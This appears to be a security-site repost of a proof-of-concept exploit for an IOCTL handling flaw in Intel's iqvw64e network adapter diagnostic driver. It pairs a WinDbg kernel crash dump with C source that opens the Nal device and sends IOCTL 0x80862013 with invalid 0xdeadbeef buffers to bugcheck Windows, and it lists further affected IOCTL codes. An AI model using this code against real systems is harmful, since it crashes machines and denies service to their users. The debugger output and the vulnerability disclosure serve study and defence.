Working Set Sizes (now,min,max) (510, 50, 345) (2040KB, 200KB, 1380KB)
PeakWorkingSetSize 510
VirtualSize 11 Mb
PeakVirtualSize 11 Mb
PageFaultCount 529
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 140
Job fffffa804d0fc080

THREAD fffffa804c800060 Cid 0d9c.0da0 Teb: 000000007efdb000 Win32Thread: 0000000000000000 RUNNING on processor
3
IRP List:
fffffa804d01e160: (0006,0118) Flags: 00060000 Mdl: 00000000
Not impersonating
DeviceMap fffff8a0022b5570
Owning Process fffffa804d0f29e0 Image: ConsoleApplication7.exe
Attached Process N/A Image: N/A
Wait Start TickCount 440956 Ticks: 0
Context Switch Count 31 IdealProcessor: 3
UserTime 00:00:00.000
KernelTime 00:00:00.000
*** WARNING: Unable to verify checksum for ConsoleApplication7.exe
*** ERROR: Module load completed but symbols could not be loaded for ConsoleApplication7.exe
Win32 Start Address ConsoleApplication7 (0x0000000000041354)
Stack Init fffff8800653bc70 Current fffff8800653b530
Base fffff8800653c000 Limit fffff88006536000 Call 0
Priority 11 BasePriority 8 UnusualBoost 0 ForegroundBoost 2 IoPriority 2 PagePriority 5
Child-SP RetAddr Call Site
fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a (TrapFrame @ fffff880`0653b210)
fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ fffff880`0653bae0)
00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe


3: kd> !irp fffffa804d01e160
Irp is active with 1 stacks 1 is current (= 0xfffffa804d01e230)
No Mdl: No System Buffer: Thread fffffa804c800060: Irp stack trace.
cmd flg cl Device File Completion-Context
>[ e, 0] 5 0 fffffa804aac7b00 fffffa804d1084d0 00000000-00000000
FileSystemiqvw64e
Args: 00000000 00000000 80862013 deadbeef

3: kd> !object fffffa804aac7b00
Object: fffffa804aac7b00 Type: (fffffa804900af30) Device
ObjectHeader: fffffa804aac7ad0 (new version)
HandleCount: 0 PointerCount: 2
Directory Object: fffff8a000010060 Name: Nal

3: kd> dt_IO_STACK_LOCATION 0xfffffa804d01e230
ntdll!_IO_STACK_LOCATION
+0x000 MajorFunction : 0xe ''
+0x001 MinorFunction : 0 ''
+0x002 Flags : 0x5 ''
+0x003 Control : 0 ''
+0x008 Parameters : <unnamed-tag>
+0x028 DeviceObject : 0xfffffa80`4aac7b00 _DEVICE_OBJECT
+0x030 FileObject : 0xfffffa80`4d1084d0 _FILE_OBJECT
+0x038 CompletionRoutine : (null)
+0x040 Context : (null)

3: kd> !devobj 0xfffffa80`4aac7b00 7
Device object (fffffa804aac7b00) is for:
Nal FileSystemiqvw64e DriverObject fffffa804b0f4d70
Current Irp 00000000 RefCount 1 Type 00008086 Flags 00000044
Dacl fffff9a10008c391 DevExt fffffa804aac7c50 DevObjExt fffffa804aac7c68
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.

3: kd> !drvobj fffffa804b0f4d70 7
Driver object (fffffa804b0f4d70) is for:
FileSystemiqvw64e
Driver Extension List: (id , addr)

Device Object list:
fffffa804aac7b00

DriverEntry: fffff88005fda200 iqvw64e
DriverStartIo: 00000000
DriverUnload: fffff88005a09010 iqvw64e
AddDevice: 00000000

Dispatch routines:
[00] IRP_MJ_CREATE fffff88005a09090 iqvw64e+0x1090
[01] IRP_MJ_CREATE_NAMED_PIPE fffff800036b0e30 nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE fffff88005a090f0 iqvw64e+0x10f0
[03] IRP_MJ_READ fffff800036b0e30 nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE fffff800036b0e30 nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA fffff800036b0e30 nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA fffff800036b0e30 nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS fffff800036b0e30 nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION fffff800036b0e30 nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL fffff88005a09150 iqvw64e+0x1150
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN fffff800036b0e30 nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP fffff800036b0e30 nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT fffff800036b0e30 nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY fffff800036b0e30 nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY fffff800036b0e30 nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER fffff800036b0e30 nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL fffff800036b0e30 nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE fffff800036b0e30 nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA fffff800036b0e30 nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA fffff800036b0e30 nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP fffff800036b0e30 nt!IopInvalidDeviceRequest


*/

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char **argv)
{
HANDLE hDevice;
DWORD bret;
char szDevice[] = "\\.\Nal";

printf("--[ Intel Network Adapter Diagnostic Driver DoS ]--n");

printf("Opening handle to driver..n");
// CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDispoition,
dwFlagsAndAttributes, hTemplateFile)
if ((hDevice = CreateFileA(szDevice, GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,NULL)) !=
INVALID_HANDLE_VALUE) {
printf("Device %s succesfully opened!n", szDevice);
printf("tHandle: %pn", hDevice);
}
else
{
printf("Error: Error opening device %sn", szDevice);
}

printf("nPress any key to DoS..");
_getch();

bret = 0;
// Affected IOCTL codes: 0x80862013, 0x8086200B, 0x8086200F, 0x80862007
// DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned,
lpOverlapped)
if (!DeviceIoControl(hDevice, 0x80862013, (LPVOID)0xdeadbeef, 0x0, (LPVOID)0xdeadbeef, 0x0, &bret, NULL))
{
printf("DeviceIoControl Error - bytes returned %#xn", bret);
}

CloseHandle(hDevice);
return 0;
}


Source: 0110305102-BLW/eussi/moc.ytirucesxc

Read:1606 | Comments:0 | Tags: Vulnerability

“Intel Network Adapter Diagnostic Driver IOCTL Handling Vulnerability”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud